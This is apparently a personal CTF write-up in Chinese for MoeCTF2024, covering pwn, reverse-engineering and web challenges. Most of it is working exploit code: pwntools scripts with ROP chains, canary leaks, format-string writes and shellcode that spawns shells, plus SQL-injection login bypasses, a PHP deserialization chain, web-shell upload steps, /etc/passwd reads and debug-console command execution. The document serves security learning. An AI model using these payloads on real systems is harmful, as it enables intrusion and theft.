MoeCTF2024 个人WP

Pwn:

二进制漏洞审计入门指北:

nc直接有flag

NotEnoughTime:

这道题没有文件,nc之后在规定时间内完成计算就行,写一个自动计算脚本就行

from pwn import*
context(log_level='debug')
p=remote('26.198.202.50',61465)

p.sendlineafter(b'=',b'2')
p.sendlineafter(b'=',b'0')
p.recvuntil(b'!\n')
temp=p.recvuntil(b'=')
while True:
    temp=re.sub(r'[\t\n\r=]+','',temp.decode()).replace('/','//')
    ans=eval(temp)
    p.sendline(str(ans))
    try:
        temp=p.recvuntil(b'=')
    except EOFError:
        break
p.interactive()

flag_helper:

这里实际上考了mmap的参数

from pwn import*
context(log_level='debug')
p=remote('26.198.202.50',58549)

p.sendlineafter(b'>',b'4')
p.sendlineafter(b'>',b'./flag')
p.sendlineafter(b'>',b'0')
p.sendlineafter(b'>',b'7')
p.sendlineafter(b'>',b'34')
p.sendlineafter(b'>',b'5')
p.interactive()

no_more_gets:

随机的密码,但是随机的密码有可能会以\x00开头,如果随机到\x00那密码此时就是\x00而已

from pwn import*

while True:
    p=remote('26.198.202.50',54345)
    p.sendlineafter(b'get out.',b'\x00')
    p.recvline()
    key=p.recvline()
    print(key)
    if b'Welcome back.' in key:
        p.interactive()
    else:
        p.close()

leak_sth:

from pwn import*
context(log_level='debug')
p=process('./leaksth')
p=remote('26.198.202.50',9999)

def gdbs():
    gdb.attach(p)
    pause()

payload=b'%7$p'
p.sendlineafter(b'your name?',payload)
p.recvline()
p.recvline()
num=int(p.recv(10),16)
print(hex(num))
payload=str(num)
p.sendlineafter(b'Give me the number',payload)
p.interactive()

Moeplane:

这里可以修改engines,实现修改距离,把filght修改为目标数值即可,这里不用改完。

from pwn import*
context(log_level='debug')
p=remote('26.198.202.50',53945)


num=-15
tar=[0x10,0x20,0x30,0x40,0x50]
for i in range(4):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'>',str(num-i))
    p.sendlineafter(b'>',str(tar[i]))

p.interactive()

ez_shellcode:

感觉没啥可讲的

from pwn import*
context(arch='amd64')
p=process('./ezshellcode')
p=remote('26.198.202.50',53876)

def gdbs():
    gdb.attach(p)
    pause()

p.sendlineafter(b'Tell me your age:',b'-1')
p.recvuntil(b'Here is a gift for you :\n')
gift=int(p.recv(14),16)
payload=asm(shellcraft.sh())
payload=payload.ljust(0x68,b'\x90')
payload+=p64(gift)
print(hex(gift))
p.sendlineafter(b'What do you want to say?',payload)
p.interactive()

LoginSystem:

依旧没啥讲的

from pwn import*
p=process('./login')
p=remote('26.198.202.50',55448)
password=0x404050

payload=b'aaaa%9$s'+p64(password)
p.sendlineafter(b'username:',payload)
p.recvuntil(b'aaaa')
password=u64(p.recv(8))
p.sendlineafter(b'Please input your password:',p64(password))
p.interactive()
#8

Catch_the_canary!:

from pwn import*
context(log_level='debug')
backdoor=0x4012C9

for i in range(16768186,16768186+9029):
    p=remote('26.198.202.50',57055)
    p.sendline(str(i))
    p.recvline()
    p.recvline()
    key=p.recvline()
    print(key)
    if b'[Error] Wrong! Try again.' in key:
        p.close()
    else:
        break

payload=b'a'*0x10+p64(0xbacd003)
p.sendlineafter(b'One shot.',b'+')
p.sendline(b'1')
p.sendline(str(0xbacd003))
p.sendafter(b'Stop it!',b'a'*0x19)
p.recvuntil(b'a'*0x19)
canary=u64(p.recv(8))
canary=(canary-0x100000000000000)<<8
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*8+p64(backdoor)
p.sendline(payload)
p.interactive()

System_not_found!:

感觉还行

from pwn import*
context(log_level='debug')
p=process('./dialogue')
p=remote('26.198.202.50',53213)
puts_plt=0x401040
main=0x4011E1
ret=0x000000000040101a

payload=b'\xff'*0x11
p.sendlineafter(b'your name?',payload)
payload=b'a'*(0x28+8)+p64(puts_plt)+p64(main)
p.sendlineafter(b'Where do you come from?',payload)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("onelibc= "+hex(onelibc))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=onelibc-0x62050
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
payload=b'\xff'*0x11
p.sendlineafter(b'your name?',payload)
payload=b'a'*(0x28+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Where do you come from?',payload)
p.interactive()

NX_on!:

from pwn import*
context(log_level='debug')
p=process('./nxon')
p=remote('26.198.202.50',52278)
pop_rdi=0x000000000040239f
pop_rsi=0x000000000040a40e
ret=0x000000000040101a
pop_rdx_rbx=0x000000000049d12b
binsh=0x00000000004e3950
pop_rax=0x00000000004508b7
syscall=0x49BBCA

p.sendafter(b'Your id?',b'b'*25)
p.recvuntil(b'b'*25)
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*0x8+p64(pop_rdi)+p64(binsh)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(pop_rax)+p64(0x3b)+p64(syscall)
p.sendlineafter(b'Your real name?',payload)
p.sendlineafter(b'give me the size of your real name , 0 means quit',b'-10000')
p.interactive()

这里要注意后面输入的值,-1等很多值会导致报错。

Pwn_it_off!:

考调试,复现一下官方WP。

from pwn import*
context(log_level='debug')
p=process('./alarm')

def gdbs():
    gdb.attach(p)
    pause()

while True:
    temp=p.recvline()
    if b"[Error]" in temp:
        break
    pre_temp=temp

password1=pre_temp[28:28+15]+b'\x00'+p64(12345)[0:7]
print(p64(12345)[0:7])
p.sendafter(b'password.',password1)
p.sendlineafter(b'password.',b'12345')
p.interactive()

从输出中找密码,然后在输入第一次密码的同时覆盖下一次密码为指定数,再次输入指定密码。

这是什么?shellcode!:

感觉pwntools写的shellcode也能用

from pwn import*
context(arch='amd64')
p=process('./preshellcode')
p=remote('26.198.202.50',64169)

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

也可以自己写

from pwn import*
context(arch='amd64')
p=process('./preshellcode')
#p=remote('26.198.202.50',64169)

shellcode=asm('''
mov rbx, 0x0068732f6e69622f
push rbx
mov rax,59
mov rdi,rsp
mov rsi,0
mov rdx,0
syscall
''')
p.sendline(shellcode)
p.interactive()

这是什么?libc!:

我用的是ubuntu22,所以可以直接libc

from pwn import*
p=process('./prelibc')
p=remote('26.198.202.50',65444)

p.recvuntil(b'libc: ')
puts_addr=int(p.recv(14),16)
print(hex(puts_addr))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
ret=libcbase+0x0000000000029139
payload=b'a'*9+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

这是什么?32-bit!:

from pwn import*
p=process('./backdoor')
p=remote('26.198.202.50',63046)
execve=0x80490A0
binsh=0x804A011

def gdbs():
    gdb.attach(p)
    pause()

payload=b'a'*(0x28+5)+p32(execve)+p32(0)+p32(binsh)+p32(0)*2
#gdbs()
p.sendline(payload)
p.interactive()

这是什么?GOT!:

from pwn import*
context(log_level='debug')
p=process('./pregot')
p=remote('26.198.202.50',54772)
system_plt=0x401050
backdoor=0x40119A
callread=0x401280

def gdbs():
    gdb.attach(p)
    pause()

payload=p64(0)*2+p64(0x401056)+p64(0)*2+p64(backdoor)+p64(0)+p64(callread)
#gdbs()
p.sendafter(b'This is `puts`.',payload)
p.interactive()

这是什么?random!:

from pwn import*
from ctypes import*
import ctypes
context(log_level='debug')
p=process('./prerandom')
p=remote('26.198.202.50',52274)

def gdbs():
    gdb.attach(p)
    pause()

dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
class tm(ctypes.Structure):
    _fields_ = [
        ("tm_sec", ctypes.c_int),
        ("tm_min", ctypes.c_int),
        ("tm_hour", ctypes.c_int),
        ("tm_mday", ctypes.c_int),
        ("tm_mon", ctypes.c_int),
        ("tm_year", ctypes.c_int),
        ("tm_wday", ctypes.c_int),
        ("tm_yday", ctypes.c_int),
        ("tm_isdst", ctypes.c_int)
    ]
timer=dll.time(None)
tm_pointer=tm()
dll.localtime.restype=ctypes.POINTER(tm)
localtime_pointer=dll.localtime(ctypes.byref(ctypes.c_long(timer)))
seed=localtime_pointer.contents
seed=seed.tm_yday
print(seed)
dll.srandom(seed)
for i in range(10):
    secret=dll.random()%90000+10000
    p.sendlineafter(b'>',str(secret))

p.sendlineafter(b'>',b'1')
p.sendlineafter(b'>',b'1')
p.interactive()

shellcode_revenge:

from pwn import*
from ctypes import*
context(log_level='debug',arch='amd64')

def gdbs():
    gdb.attach(p)
    pause()

p=process('./shellcode')
#p=remote('26.198.202.50',65229)
addr=0x20240200

p.sendlineafter(b'>>>',b'1')
dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed=dll.time(0)
dll.srand(seed)
pwd=dll.rand()
p.sendlineafter(b'password:',str(pwd))
p.sendlineafter(b'>>>',b'4')

shellcode='''
syscall
'''
shellcode=asm(shellcode)+b'\xeb\x10'
print(len(shellcode))
#gdbs()
p.sendlineafter(b'Good luck.',shellcode)
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,0x20240000,0x100))
shellcode+=asm(shellcraft.write(1,0x20240000,0x100))
payload=b'\x90'*0x10+shellcode
p.sendline(payload)
p.interactive()

return 15:

from pwn import*
context(arch='amd64')
p=process('./return15')
p=remote('26.198.202.50',52525)
what=0x401106
syscall=0x40111C
binsh=0x402008

def gdbs():
    gdb.attach(p)
    pause()

sigreframe=SigreturnFrame()
sigreframe.rax=59
sigreframe.rip=syscall
sigreframe.rdi=binsh
sigreframe.rsi=0
sigreframe.rdx=0
payload=b'a'*0x28+p64(what)+p64(syscall)+bytes(sigreframe)
#gdbs()
p.sendline(payload)
p.interactive()

Read_once_twice!:

from pwn import*
context(log_level='debug')
p=process('./twice')
p=remote('26.198.202.50',58165)

def gdbs():
    gdb.attach(p)
    pause()

p.sendafter(b'turned on?',b'a'*0x19)
p.recvuntil(b'a'*0x19)
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*0x8+b'\xc6\x01'
p.sendafter(b'more chance...',payload)
p.interactive()

VisibleInput:

懂用ae64就行

from pwn import*
from ae64 import AE64
context(arch='amd64')
p=process('./input')
p=remote('26.198.202.50',57781)

payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,0x20240000,100)
payload+=shellcraft.write(1,0x20240000,100)

shellcode=AE64().encode(asm(payload),'rdx')
p.send(shellcode)
p.interactive()

Where is fmt?:

参数不在栈上的格式化字符串漏洞利用

from pwn import*
p=process('./fmt')
#p=remote('26.198.202.50',61034)
backdoor=0x401202

def gdbs():
    gdb.attach(p,'b*0x40128B')
    pause()

payload=b'%15$p'
p.sendlineafter(b'chances.',payload)
p.recvuntil(b'0x')
onestack=int(b'0x'+p.recv(12),16)
print("onestack= "+hex(onestack))
gdbs()
rip=onestack-0x120
payload=f'%{rip&0xffff}c%15$hn'
p.sendlineafter(b'chances.',payload)

payload=f'%{backdoor&0xffff}c%45$hn'
p.sendlineafter(b'chances.',payload)
p.interactive()

首先泄露c118结尾的栈地址,靠这个确定返回地址的栈地址,向偏移15的地方用$n会修改他指向的内容,所以会修改偏移15所指向的栈地址,也就是会修改e179,修改其为返回地址的栈地址,然后再用相似的手法,对偏移45的地方用$n,就可以修改返回地址。

 Reverse:

逆向工程入门指北:

直接运行程序得flag

xor:

简单的异或

result=[0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16, 
  0x46, 0x10, 0x13, 0x1C, 0x40, 0x09, 0x42, 0x16, 0x46, 0x1C, 
  0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14, 
  0x09, 0x17, 0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47, 
  0x12, 0x40, 0x14, 0x59]

flag=''
for i in range(len(result)):
    flag+=chr(result[i]^0x24)

print(flag)

upx:

脱壳就有flag

dynamic:

简单的动态调试

upx-revenge:

upx手动脱壳,就出flag了。

d0tN3t:

result=[173, 146, 161, 174, 132, 179, 187, 234, 231, 244,
		177, 161, 65, 13, 18, 12, 166, 247, 229, 207,
		125, 109, 67, 180, 230, 156, 125, 127, 182, 236,
		105, 21, 215, 148, 92, 18, 199, 137, 124, 38,
		228, 55, 62, 164]

flag=''
for i in range(len(result)):
    flag+=chr((((result[i]^(i*i))^114)-114)%256)

print(flag)

rc4:

直接找关键数据,然后带入脚本

key=list('RC4_1s_4w3s0m3')
content=[0xA7,0x1A,0x68,0xEC,0xD8,0x27,0x11,0xCC,0x8C,0x9B,0x16,0x15,0x5C,0xD2,0x67,0x3E,0x82,0xAD,0xCE,0x75,0xD4,0xBC,0x57,0x56,0xC2,0x8A,0x52,0xB8,0x6B,0xD6,0xCC,0xF8,0xA4,0xBA,0x72,0x2F,0xE0,0x57,0x15,0xB9,0x24,0x11]
rc4number=0x100
s=[0]*rc4number
flag=''
 
 
def rc4_init(s,key,rc4number):
    for i in range(rc4number):
        s[i]=i
    j=0
    for i in range(rc4number):
        j=(j+s[i]+ord(key[i%len(key)]))%rc4number
        temp=s[i]
        s[i]=s[j]
        s[j]=temp
 
def rc4_endecode(s,content,rc4number):
    i=0
    j=0
    for k in range(len(content)):
        i=(i+1)%rc4number
        j=(j+s[i])%rc4number
        temp=s[i]
        s[i]=s[j]
        s[j]=temp
        t=(s[i]+s[j])%rc4number
        content[k]=chr(content[k]^s[t])
    content=''.join(content)
    print(content)
 
 
rc4_init(s,key,rc4number)
rc4_endecode(s,content,rc4number)

xtea:

#include<stdio.h> 
#include<stdint.h>
void decrypt(uint32_t v[2],uint32_t key[4])
{
	uint32_t k0,k2,k3,k1;
	uint32_t v0,v1;
	v0=v[0],v1=v[1];
	k0=key[0],k1=key[1],k2=key[2],k3=key[3];
	uint32_t sum,delta=-0x33004445;
	sum=delta*32;
	for(int i=0;i<32;i++)
	{
		v1-=(v0 + ((v0 >> 5) ^ (16 * v0)) ) ^ (key[ ((sum >> 11) & 3)]+ sum);
		sum-=delta;
		v0-=(key[ (sum & 3)]+ sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
	}
	v[0]=v0,v[1]=v1;
}

int main()
{
	//uint8_t v[12]={0xA3,0x69,0x96,0x26,0xBD,0x78,0x0B,0x3D,0x9D,0xA5,0x28,0x62};
	uint32_t v[3]={0x269669a3,0x3d0b78bd,0x6228a59d};
	uint32_t key[4]={2,0,2,4};
	//decrypt((uint32_t*)&v[4],key);
	//decrypt((uint32_t*)&v[0],key);
	decrypt((uint32_t*)&v[1],key);
	decrypt((uint32_t*)&v[0],key);
	printf("moectf{%s}",v);		  
}

xxtea:

没什么好讲的,照数据改脚本就行

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[((p&3)^e)&0xff] ^ z)))
void btea(uint32_t* v, int n, const uint32_t key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1) /* Coding Part */
    {
    rounds = 6 + 52 / n;
    sum = 0;
    z = v[n - 1];
    do{
        sum += DELTA;
        e = (sum >> 2) & 3;
        for (p = 0; p < n - 1; p++)
        {
            y = v[p + 1];
            z = v[p] += MX;
        }
        y = v[0];
        z = v[n - 1] += MX;
    } while (--rounds);
    }
    else if (n < -1) /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
    } while (--rounds);
    }
   }
int main() {
    unsigned char enc[] = { 0x64,0xf5,0xe1,0x78,0xe1,0xf0,
0x35,0xa8,0x34,0xff,0x12,0x05,
0xfb,0x13,0xe9,0xb0,0x50,0xa3,
0xb9,0x89,0xb1,0xda,0x43,0xc9,
0x4f,0xc8,0xdb,0x01,0x20,0xdb,
0x16,0xaf,0xed,0x67,0x17,0x96};
    int r = 9;
    unsigned char input_key[13] = "moectf2024!!";
 
    const uint32_t k[4] = { *((uint32_t*)input_key),*((uint32_t*)(input_key + 4)),*((uint32_t*)(input_key + 8)),0xccffbbbb };
    btea(((uint32_t*)enc),-r,k);
    for (int i = 0; i < 36; i++) {
    printf("%c",enc[i]);
    }
    return 0;
}

TEA:

这里主要得看出来key是什么

#include <iostream>
#include <stdint.h>
void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 32;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}
int main()
{
    uint32_t v[2]; uint32_t v2;
    v[0] = 0x284c2234;
    v[1] = 0x3910c558;
    decrypt(v, (uint32_t*)"base64xorteaxtea");
    printf("moectf{%x-", v[0]);
    printf("%x-", v[1] >> 16 );
    printf("%x-9c42-caf30620caaf}", v[1] & 0xffff);
    return 0;
}

逆向工程进阶之北:

复现了一下官方WP

用脚本输出乘法逆元数

from Crypto.Util.number import*
ans=inverse(0xccffbbbb,0xffffffff+1)
print(ans)
第二个参数取决于有限域的大小而不是最大值。
然后写C脚本解密
#include <iostream>
#include <iomanip>
#include <windows.h>
using namespace std;

int main()
{
	DWORD flag[12] = { 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda ,0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da ,0x64793c81};
	
	for(int i=0;i<11;i++)
	{
		*(flag+i)^=0xdeadbeef+0xd3906;
        *(flag+i)-=0xdeadc0de;
        *(flag+i)*=2371998067;
	}
	std::cout << (unsigned char*)flag <<std::endl;
}

Web:

Web渗透测试与审计入门指北:

用phpstudy直接搭建一个本地网站就行

弗拉格之地的入口:

查看/robots.txt

查看/webtutorEntry.php得flag

ez_http:

这个满足各个条件得flag,没什么好说的,就是得bp才能看见flag

垫刀之路01: MoeCTF?启动!:

命令执行,tac /flag之后用env命令查看环境变量

ProveYourLove:

直接修改前端js代码,把不允许连续提交改了,然后点300下

弗拉格之地的挑战:

这个战线太长了,改天弄个文章来讲

ImageCloud前置:

直接用file伪协议读取,file:///etc/passwd

垫刀之路02: 普通的文件上传:

传木马连接蚁剑,用蚁剑命令执行env,查看环境变量得flag

垫刀之路03: 这是一个图床:

把一句话木马后缀改为jpg,发出并抓包,然后把后缀名改回php就行。


垫刀之路04: 一个文件浏览器:

目录穿越,然后找flag

垫刀之路05: 登陆网站:

直接万能密码

username=admin123&password=1' or true--+
username=admin123&password=1' or true#
username=admin123&password=1' or true;%00

垫刀之路06: pop base mini moe:

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil='tac /flag';

    // 如何赋值呢
    private $a='system';
    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}
$p=new A();
echo urlencode(serialize($p));

?>

垫刀之路07: 泄漏的密码:

有了pin值,直接进入/console目录

依次输入以下命令,先输入import os,再输入下一个命令

import os
os.popen('cat flag').read()

还有题目没弄上来,我整理一下再发

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值